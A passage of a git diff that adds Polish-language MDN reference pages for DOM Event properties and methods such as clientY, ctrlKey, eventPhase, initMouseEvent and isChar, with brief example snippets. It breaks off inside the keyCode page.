+ doRedButton(); } }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz też <a href="pl/DOM/event.clientY">clientY</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-clientX">clientX </a></p>
+<p>{{ languages( { "en": "en/DOM/event.clientX" } ) }}</p>
diff --git a/files/pl/web/api/event/clienty/index.html b/files/pl/web/api/event/clienty/index.html
new file mode 100644
index 0000000000..1ad6315f89
--- /dev/null
+++ b/files/pl/web/api/event/clienty/index.html
@@ -0,0 +1,16 @@
+---
+title: event.clientY
+slug: Web/API/Event/clientY
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/clientY
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca pionową współrzędną zdarzenia w obszarze klienta.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz też <a href="pl/DOM/event.clientX">clientX</a>, wraz z przykładem wykorzystania.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-clientY">clientY</a></p>
+<p>{{ languages( { "en": "en/DOM/event.clientY" } ) }}</p>
diff --git a/files/pl/web/api/event/ctrlkey/index.html b/files/pl/web/api/event/ctrlkey/index.html
new file mode 100644
index 0000000000..53bda61a1e
--- /dev/null
+++ b/files/pl/web/api/event/ctrlkey/index.html
@@ -0,0 +1,26 @@
+---
+title: event.ctrlKey
+slug: Web/API/Event/ctrlKey
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/ctrlKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, czy klawisz &lt;ctrl&gt; był wciśnięty podczas wywołania zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">bool = event.ctrlKey
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function goInput(e) {
+ // sprawdza ctrlKey
+ if e.ctrlKey
+ // i przekazuje zdarzenie dalej
+ superSizeOutput(e);
+ else
+ doOutput(e)
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-ctrlKey">ctrlKey</a></p>
+<p>{{ languages( { "en": "en/DOM/event.ctrlKey" } ) }}</p>
diff --git a/files/pl/web/api/event/currenttarget/index.html b/files/pl/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..f6c5c3c752
--- /dev/null
+++ b/files/pl/web/api/event/currenttarget/index.html
@@ -0,0 +1,25 @@
+---
+title: event.currentTarget
+slug: Web/API/Event/currentTarget
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/currentTarget
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pozwala zidentyfikować obecnie zarejestrowany element docelowy zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">referencjaDoWęzła = event.currentTarget
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>referencjaDoWęzła</code> to referencja do obiektu węzła DOM</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> if e.currentTarget != t_el
+ resetEventEngine();
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-currentTarget">currentTarget</a></p>
+<p>{{ languages( { "en": "en/DOM/event.currentTarget" } ) }}</p>
diff --git a/files/pl/web/api/event/eventphase/index.html b/files/pl/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..c7f0deb5fb
--- /dev/null
+++ b/files/pl/web/api/event/eventphase/index.html
@@ -0,0 +1,40 @@
+---
+title: event.eventPhase
+slug: Web/API/Event/eventPhase
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje która faza przepływu zdarzenia jest aktualnie przetwarzana.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>faza</i> = event.eventPhase
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>faza</code> to liczba o jednej z poniższych wartości:</li>
+</ul>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>1</td>
+ <td><a href="pl/DOM/Event.CAPTURING_PHASE">CAPTURING_PHASE</a></td>
+ <td>faza przechwytywania</td>
+ </tr>
+ <tr>
+ <td>2</td>
+ <td><a href="pl/DOM/Event.AT_TARGET">AT_TARGET</a></td>
+ <td>zdarzenie przy elemencie docelowym</td>
+ </tr>
+ <tr>
+ <td>3</td>
+ <td><a href="pl/DOM/Event.BUBBLING_PHASE">BUBBLING_PHASE</a></td>
+ <td>faza bąbelkowania</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-eventPhase">eventPhase </a></p>
+<p>{{ languages( { "en": "en/DOM/event.eventPhase" } ) }}</p>
diff --git a/files/pl/web/api/event/index.html b/files/pl/web/api/event/index.html
new file mode 100644
index 0000000000..8b5dd22105
--- /dev/null
+++ b/files/pl/web/api/event/index.html
@@ -0,0 +1,179 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Event
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3>
+
+<p>W tym rozdziale opiszemy model zdarzeń DOM Level 2 jaki implementuje Gecko. Opisany zostanie obiekt <code>event</code>, a także interfejsy do rejestrowania zdarzeń dla węzłów DOM, uchwyty i obserwatorzy zdarzeń; przedstawione zostanie też kilka dłuższych przykładów pokazujących relacje między różnymi interfejsami.</p>
+
+<p>Dostępny jest też doskonały <a class="external" href="https://www.w3.org/TR/DOM-Level-3-Events/#event-flow">diagram</a>, który jasno przedstawia trzy fazy przepływu zdarzeń w DOM.</p>
+
+<h4 id="Interfejs_DOM_event" name="Interfejs_DOM_event">Interfejs DOM event</h4>
+
+<p>Interfejs DOM <code>event</code> reprezentowany jest przez obiekty <code>event</code> przekazywane do uchwytów zdarzeń różnych elementów DOM. Poniższy, prosty przykład pokazuje, jak przekazać i manipulować obiektem <code>event</code> w funkcji obsługi zdarzenia.</p>
+
+<pre>function foo(e) {
+ //funkcje obsługi zdarzeń - takie jak ta
+ //otrzymują referencję do zdarzenia, jakie
+ //obsługują (w tym przypadku "e")
+ alert(e);
+}
+table_el.onclick = foo;
+</pre>
+
+<p>Powyższy przykład jest skrajnie prosty, przedstawia jednak ważną cechę obsługi zdarzeń w Gecko DOM - obiekty <code>event</code> wykorzystywane są zwykle w funkcjach obsługi zdarzeń. Kiedy masz już referencję do obiektu <code>event</code>, możesz korzystać z wszystkich metod i własności opisanych w tym rozdziale.</p>
+
+<p>Zob. także <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykład 5: Propagowanie zdarzeń</a> w rozdziale <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykłady użycia DOM</a>, by zobaczyć bardziej szczegółowo, jak zdarzenia przechodzą przez DOM.</p>
+
+<h4 id="Uchwyty_zdarze.C5.84" name="Uchwyty_zdarze.C5.84">Uchwyty zdarzeń</h4>
+
+<p>Oprócz opisanego tutaj obiektu <code>event</code>, Gecko DOM dostarcza również metod do rejestrowania obserwatorów zdarzeń (ang.<em>event listener</em> ) na węzłach DOM, usuwania zdarzeń z obserwatorów oraz wywoływania zdarzeń z poziomu DOM. Te trzy metody opisano w rozdziale <a href="pl/DOM/element">Elementy w DOM</a>. Razem z <a href="pl/DOM/element#Uchwyty_zdarze.C5.84">uchwytami zdarzeń</a> elementów HTML i XML stanowią one główny punkt wyjścia dla zdarzeń w DOM.</p>
+
+<p>Możesz także przekazać do funkcji obsługi zdarzenia referencję do obiektu <code>event</code> poprzez predefiniowany parametr o nazwie <code>event</code>. Jest to bardzo podobne do sposobu, w jaki działa <code>this</code>, ale tyczy się obiektów zdarzeń, a nie elementów.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Przykład użycia parametru z obiektem event&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showCoords(evt){
+ alert(
+ "clientX value: " + evt.clientX + "\n"
+ + "clientY value: " + evt.clientY + "\n"
+ );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+&lt;p&gt;Kliknij gdziekolwiek na tej stronie, aby wyświetlić współrzędne położenia myszy.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Używanie predefiniowanego parametru <code>event</code> pozostawia dalej możliwość przekazywania innych parametrów do funkcji obsługującej zdarzenie, jeśli jest taka potrzeba.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Przykład użycia parametru z obiektem event wraz z dodatkowymi parametrami&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+var par2 = 'hello';
+var par3 = 'world!';
+
+function showCoords(evt, p2, p3){
+ alert(
+ "clientX value: " + evt.clientX + "\n"
+ + "clientY value: " + evt.clientY + "\n"
+ + "p2: " + p2 + "\n"
+ + "p3: " + p3 + "\n"
+ );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event, par2, par3)"&gt;
+&lt;p&gt;Kliknij gdziekolwiek na tej stronie, aby wyświetlić współrzędne położenia myszy.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<dl>
+ <dt><a href="pl/DOM/event.altKey">event.altKey</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code>&lt;alt&gt;</code> był wciśnięty podczas zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.bubbles">event.bubbles</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą, czy zdarzenie bąbelkuje przez model dokumentu czy nie.</dd>
+ <dt><a href="pl/DOM/event.button">event.button</a></dt>
+ <dd>Zwraca przycisk myszy.</dd>
+ <dt><a href="pl/DOM/event.cancelBubble">event.cancelBubble</a></dt>
+ <dd>{{ Deprecated_inline() }} Zwraca wartość logiczną wskazującą, czy bąbelkowanie zdarzenia zostało anulowane czy nie.</dd>
+ <dt><a href="pl/DOM/event.cancelable">event.cancelable</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą, czy zdarzenie można anulować.</dd>
+ <dt><a href="pl/DOM/event.charCode">event.charCode</a></dt>
+ <dd>Zwraca kod Unicode klawisza znaku, który został wciśnięty podczas zdarzenia <a href="pl/DOM/element.onkeypress">keypress</a>.</dd>
+ <dt><a href="pl/DOM/event.clientX">event.clientX</a></dt>
+ <dd>Zwraca poziomą pozycję zdarzenia w obszarze klienta.</dd>
+ <dt><a href="pl/DOM/event.clientY">event.clientY</a></dt>
+ <dd>Zwraca pionową pozycję zdarzenia w obszarze klienta.</dd>
+ <dt><a href="pl/DOM/event.ctrlKey">event.ctrlKey</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code>&lt;ctrl&gt;</code> był wciśnięty podczas zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.currentTarget">event.currentTarget</a></dt>
+ <dd>Zwraca referencję do obecnie zarejestrowanego celu zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.detail">event.detail</a></dt>
+ <dd>Zwraca szczegółową informację o zdarzeniu zależnie od jego typu.</dd>
+ <dt><a href="pl/DOM/event.eventPhase">event.eventPhase</a></dt>
+ <dd>Wskazuje która faza przepływu zdarzenia jest aktualnie przetwarzana.</dd>
+ <dt><a href="pl/DOM/event.isChar">event.isChar</a></dt>
+ <dd>Zwraca wartość logiczną oznaczającą, czy w zdarzeniu pojawił się klawisz znaku czy nie.</dd>
+ <dt><a href="pl/DOM/event.keyCode">event.keyCode</a></dt>
+ <dd>Zwraca kod Unicode dla klawisza nie będącego znakiem w zdarzeniu keypress lub dowolnego klawisza w każdym innym zdarzeniu związanym z klawiaturą.</dd>
+ <dt><a href="pl/DOM/event.layerX">event.layerX</a></dt>
+ <dd>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</dd>
+ <dt><a href="pl/DOM/event.layerY">event.layerY</a></dt>
+ <dd>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</dd>
+ <dt><a href="pl/DOM/event.metaKey">event.metaKey</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code>meta</code> był wciśnięty podczas zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.pageX">event.pageX</a></dt>
+ <dd>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</dd>
+ <dt><a href="pl/DOM/event.pageY">event.pageY</a></dt>
+ <dd>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</dd>
+ <dt><a href="pl/DOM/event.relatedTarget">event.relatedTarget</a></dt>
+ <dd>Wskazuje na drugi cel zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.screenX">event.screenX</a></dt>
+ <dd>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem ekranu.</dd>
+ <dt><a href="pl/DOM/event.screenY">event.screenY</a></dt>
+ <dd>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.</dd>
+ <dt><a href="pl/DOM/event.shiftKey">event.shiftKey</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code>&lt;shift&gt;</code> był wciśnięty podczas zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.target">event.target</a></dt>
+ <dd>Zwraca referencję do elementu, do którego zdarzenie zostało pierwotnie wysłane.</dd>
+ <dt><a href="pl/DOM/event.timeStamp">event.timeStamp</a></dt>
+ <dd>Zwraca czas, kiedy o którym zdarzenie zostało utworzone.</dd>
+ <dt><a href="pl/DOM/event.type">event.type</a></dt>
+ <dd>Zwraca nazwę zdarzenia.</dd>
+ <dt><a href="pl/DOM/event.view">event.view</a></dt>
+ <dd>Wskazuje widok (<code>AbstractView</code>), w którym wygenerowane zostało zdarzenie.</dd>
+ <dt><a href="pl/DOM/event.which">event.which</a></dt>
+ <dd>Zwraca kod Unicode klawisza w zdarzeniu związanym z klawiaturą, niezależnie od tego, czy klawisz jest znakiem.</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="pl/DOM/event.initEvent">event.initEvent</a></dt>
+ <dd>Metoda używana do zainicjalizowania wartości dla zdarzenia utworzonego przez interfejs <code>DocumentEvent</code>.</dd>
+ <dt><a href="pl/DOM/event.initKeyEvent">event.initKeyEvent</a></dt>
+ <dd>Inicjalizuje zdarzenie klawiatury. Gecko-specific.</dd>
+ <dt><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></dt>
+ <dd>Inicjalizuje zdarzenie myszy po jego utworzeniu.</dd>
+ <dt><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></dt>
+ <dd>Inicjalizuje zdarzenie interfejsu użytkownika po jego utworzeniu.</dd>
+ <dt><a href="pl/DOM/event.preventBubble">event.preventBubble</a></dt>
+ <dd>{{ Obsolete_inline() }} Zabezpiecza zdarzenie przed bąbelkowaniem. Ta metoda jest przestarzała ze względu na standard <a href="pl/DOM/event.stopPropagation">stopPropagation</a> i jest <a href="pl/Zmiany_w_Gecko_1.9_wp%c5%82ywaj%c4%85ce_na_wy%c5%9bwietlanie_stron">usunięta w Gecko 1.9</a>.</dd>
+ <dt><a href="pl/DOM/event.preventCapture">event.preventCapture</a></dt>
+ <dd>{{ Obsolete_inline() }} Ta metoda jest przestarzała ze względu na standard <a href="pl/DOM/event.stopPropagation">stopPropagation</a> i jest <a href="pl/Zmiany_w_Gecko_1.9_wp%c5%82ywaj%c4%85ce_na_wy%c5%9bwietlanie_stron">usunięta w Gecko 1.9</a>.</dd>
+ <dt><a href="pl/DOM/event.preventDefault">event.preventDefault</a></dt>
+ <dd>Anuluje zdarzenie (jeśli można je anulować).</dd>
+ <dt><a href="pl/DOM/event.stopPropagation">event.stopPropagation</a></dt>
+ <dd>Zatrzymuje dalsze propagowanie bieżącego zdarzenia w DOM.</dd>
+</dl>
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/event", "es": "es/DOM/event", "fr": "fr/DOM/event", "ja": "ja/DOM/event" } ) }}</p>
diff --git a/files/pl/web/api/event/initevent/index.html b/files/pl/web/api/event/initevent/index.html
new file mode 100644
index 0000000000..47af034ed8
--- /dev/null
+++ b/files/pl/web/api/event/initevent/index.html
@@ -0,0 +1,45 @@
+---
+title: event.initEvent
+slug: Web/API/Event/initEvent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/initEvent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda służy do zainicjalizowania zdarzenia utworzonego za pomocą <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">interfejsu DocumentEvent</a></p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">event.initKeyEvent(<i>type</i>,<i>bubbles</i>,<i>cancelable</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <code>type</code></dt>
+ <dd>
+ Typ zdarzenia.</dd>
+ <dt>
+ <code>bubbles</code></dt>
+ <dd>
+ Wartość logiczna wskazująca, czy zdarzenie ma bąbelkować czy nie (zob. <a href="pl/DOM/event.bubbles">bubbles</a>).</dd>
+ <dt>
+ <code>cancelable</code></dt>
+ <dd>
+ Wartość logiczna wskazująca, czy zdarzenie może zostać anulowane (zob. <a href="pl/DOM/event.cancelable">cancelable</a>).</dd>
+</dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// utwórz zdarzenie kliknięcia, które bąbelkuje
+// i nie może być anulowane
+event.initEvent("click", true, false);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zdarzenia inicjalizowane w ten sposób muszą zostać utworzone za pomocą metody <a href="pl/DOM/document.createEvent">createEvent</a> interfejsu DocumentEvent. Metoda <b>initEvent</b> musi być wywołana by ustawić zdarzenie przed jego wywołaniem (za pomocą <a href="pl/DOM/element.dispatchEvent">dispatchEvent</a>).</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-3-Events-20010823/events.html#Events-Event-initEvent">initEvent</a></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event.initEvent", "es": "es/DOM/event.initEvent", "fr": "fr/DOM/event.initEvent", "ja": "ja/DOM/event.initEvent" } ) }}</p>
diff --git a/files/pl/web/api/event/initmouseevent/index.html b/files/pl/web/api/event/initmouseevent/index.html
new file mode 100644
index 0000000000..e9de804697
--- /dev/null
+++ b/files/pl/web/api/event/initmouseevent/index.html
@@ -0,0 +1,86 @@
+---
+title: event.initMouseEvent
+slug: Web/API/Event/initMouseEvent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/initMouseEvent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Inicjuje zdarzenie myszy po jego utworzeniu (za pomocą metody <a href="pl/DOM/document.createEvent">createEvent</a> interfejsu <code>DocumentEvent</code>).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>event</i>.initMouseEvent(<i>type</i>,<i>canBubble</i>,<i>cancelable</i>,<i>view</i>,<i>detail</i>,<i>screenX</i>,<i>screenY</i>,<i>clientX</i>,<i>clientY</i>,<i>ctrlKey</i>,<i>altKey</i>,<i>shiftKey</i>,<i>metaKey</i>,<i>button</i>,<i>relatedTarget</i>);
+</pre>
+<dl>
+ <dt>
+ <code>type</code></dt>
+ <dd>
+ łańcuch znaków do ustawienia <a href="pl/DOM/event.type">typu</a> zdarzeń. Możliwe typy dla zdarzeń myszy: <code>click</code>, <code>mousedown</code>, <code>mouseup</code>, <code>mouseover</code>, <code>mousemove</code>, <code>mouseout</code>.</dd>
+ <dt>
+ <code>canBubble</code></dt>
+ <dd>
+ czy zdarzenie bąbelkuje. Ustawia wartość <a href="pl/DOM/event.bubbles">event.bubbles</a>.</dd>
+ <dt>
+ <code>cancelable</code></dt>
+ <dd>
+ czy domyślna akcja zdarzenia może być anulowana. Ustawia Ustawia wartość <a href="pl/DOM/event.cancelable">event.cancelable</a>.</dd>
+ <dt>
+ <code>view</code></dt>
+ <dd>
+ AbstractView zdarzenia. You should pass the <a href="pl/DOM/window">window</a> object here. Ustawia wartość <a href="pl/DOM/event.view">event.view</a>.</dd>
+ <dt>
+ <code>detail</code></dt>
+ <dd>
+ wartość licznika kliknięć myszą. Ustawia wartość <a href="pl/DOM/event.detail">event.detail</a>.</dd>
+ <dt>
+ <code>screenX</code></dt>
+ <dd>
+ współrzędna x względem ekranu. Ustawia wartość <a href="pl/DOM/event.screenX">event.screenX</a>.</dd>
+ <dt>
+ <code>screenY</code></dt>
+ <dd>
+ współrzędna y względem ekranu. Ustawia wartość <a href="pl/DOM/event.screenY">event.screenY</a>.</dd>
+ <dt>
+ <code>clientX</code></dt>
+ <dd>
+ współrzędna x w obszarze klienta. Ustawia wartość <a href="pl/DOM/event.clientX">event.clientX</a>.</dd>
+ <dt>
+ <code>clientY</code></dt>
+ <dd>
+ współrzędna y w obszarze klienta. Ustawia wartość <a href="pl/DOM/event.clientY">event.clientY</a>.</dd>
+ <dt>
+ <code>ctrlKey</code></dt>
+ <dd>
+ czy klawisz control był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.ctrlKey">event.ctrlKey</a>.</dd>
+ <dt>
+ <code>altKey</code></dt>
+ <dd>
+ czy klawisz alt był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.altKey">event.altKey</a>.</dd>
+ <dt>
+ <code>shiftKey</code></dt>
+ <dd>
+ czy klawisz shift był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.shiftKey">event.shiftKey</a>.</dd>
+ <dt>
+ <code>metaKey</code></dt>
+ <dd>
+ czy klawisz meta był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.metaKey">event.metaKey</a>.</dd>
+ <dt>
+ <code>button</code></dt>
+ <dd>
+ zdarzenie myszy <a href="pl/DOM/event.button">event.button</a>.</dd>
+ <dt>
+ <code>relatedTarget</code></dt>
+ <dd>
+ zdarzenie <a href="pl/DOM/event.relatedTarget">related EventTarget</a>. Stosowane tylko z kilkoma typami zdarzeń (np. <code>mouseover</code> i <code>mouseout</code>). W innych przypadkach, zwraca <code>null</code>.</dd>
+</dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p> </p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-initMouseEvent">DOM Level 2 Events: initMouseEvent</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event.initMouseEvent", "es": "es/DOM/event.initMouseEvent" } ) }}</p>
diff --git a/files/pl/web/api/event/inituievent/index.html b/files/pl/web/api/event/inituievent/index.html
new file mode 100644
index 0000000000..3a20fef39d
--- /dev/null
+++ b/files/pl/web/api/event/inituievent/index.html
@@ -0,0 +1,49 @@
+---
+title: event.initUIEvent
+slug: Web/API/Event/initUIEvent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/initUIEvent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Inicjalizuje utworzone wcześniej zdarzenie interfejsu użytkownika.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">event.initUIEvent(<i>type</i>,<i>canBubble</i>,<i>cancelable</i>,<i>view</i>,<i>detail</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <code>type</code></dt>
+ <dd>
+ typ zdarzenia</dd>
+ <dt>
+ <code>canBubble</code></dt>
+ <dd>
+ Wartość logiczna wskazująca, czy zdarzenie ma bąbelkować czy nie (zob. <a href="pl/DOM/event.bubbles">bubbles</a>).</dd>
+ <dt>
+ <code>cancelable</code></dt>
+ <dd>
+ Wartość logiczna wskazująca, czy zdarzenie może zostać anulowane (zob. <a href="pl/DOM/event.cancelable">cancelable</a>).</dd>
+ <dt>
+ <code>view</code></dt>
+ <dd>
+ widok (<a href="pl/DOM/AbstractView">AbstractView</a>) powiązany z tym zdarzeniem</dd>
+ <dt>
+ <code>detail</code></dt>
+ <dd>
+ liczba określająca szczegółową informację dla tego zdarzenia; dla zdarzeń myszy jest to liczba kliknięć w danym miejscu ekranu (zwykle 1).</dd>
+</dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">e = document.createEvent("UIEvents");
+// tworzy zdarzenie kliknięcia, które bąbelkuje, może być
+// anulowane i którego widok i szczegółowa informacja
+// to odpowiednio window i 1
+e.initUIEvent("click", true, true, window, 1);
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-3-Events-20010823/events.html#Events-Event-initUIEvent">initUIEvent </a></p>
+<p>{{ languages( { "en": "en/DOM/event.initUIEvent" } ) }}</p>
diff --git a/files/pl/web/api/event/ischar/index.html b/files/pl/web/api/event/ischar/index.html
new file mode 100644
index 0000000000..fc7a7dfec9
--- /dev/null
+++ b/files/pl/web/api/event/ischar/index.html
@@ -0,0 +1,24 @@
+---
+title: event.isChar
+slug: Web/API/Event/isChar
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/isChar
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca wartość logiczną oznaczającą, czy w zdarzeniu pojawił się klawisz znaku czy nie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">bool = event.isChar
+</pre>
+<h3 id="Example" name="Example">Example</h3>
+<pre> if e.isChar
+ echoInput(e.type);
+ }
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Niektórze kombinacje klawiszy mogą wywyoływać zdarzenia bez wystąpienia znaku (np. ctrl + alt). Wtedy <b>isChar</b> zwraca fałsz. <b>isChar</b> może być użyty, kiedy funkcje obsługujące zdarzenie potrzebują np. wyświetlić wprowadzony znak na ekranie.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie należy do specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/event.isChar" } ) }}</p>
diff --git a/files/pl/web/api/event/keycode/index.html b/files/pl/web/api/event/keycode/index.html
new file mode 100644
index 0000000000..a11c37d4b0
--- /dev/null
+++ b/files/pl/web/api/event/keycode/index.html
@@ -0,0 +1,23 @@
+---
+title: event.keyCode
+slug: Web/API/Event/keyCode
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/KeyboardEvent/keyCode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca kod Unicode dla klawisza nie będącego znakiem w zdarzeniu <a href="pl/DOM/element.onkeypress">keypress</a> lub dowolnego klawisza w każdym innym zdarzeniu związanym z klawiaturą.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">klawisz = event.keyCode
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
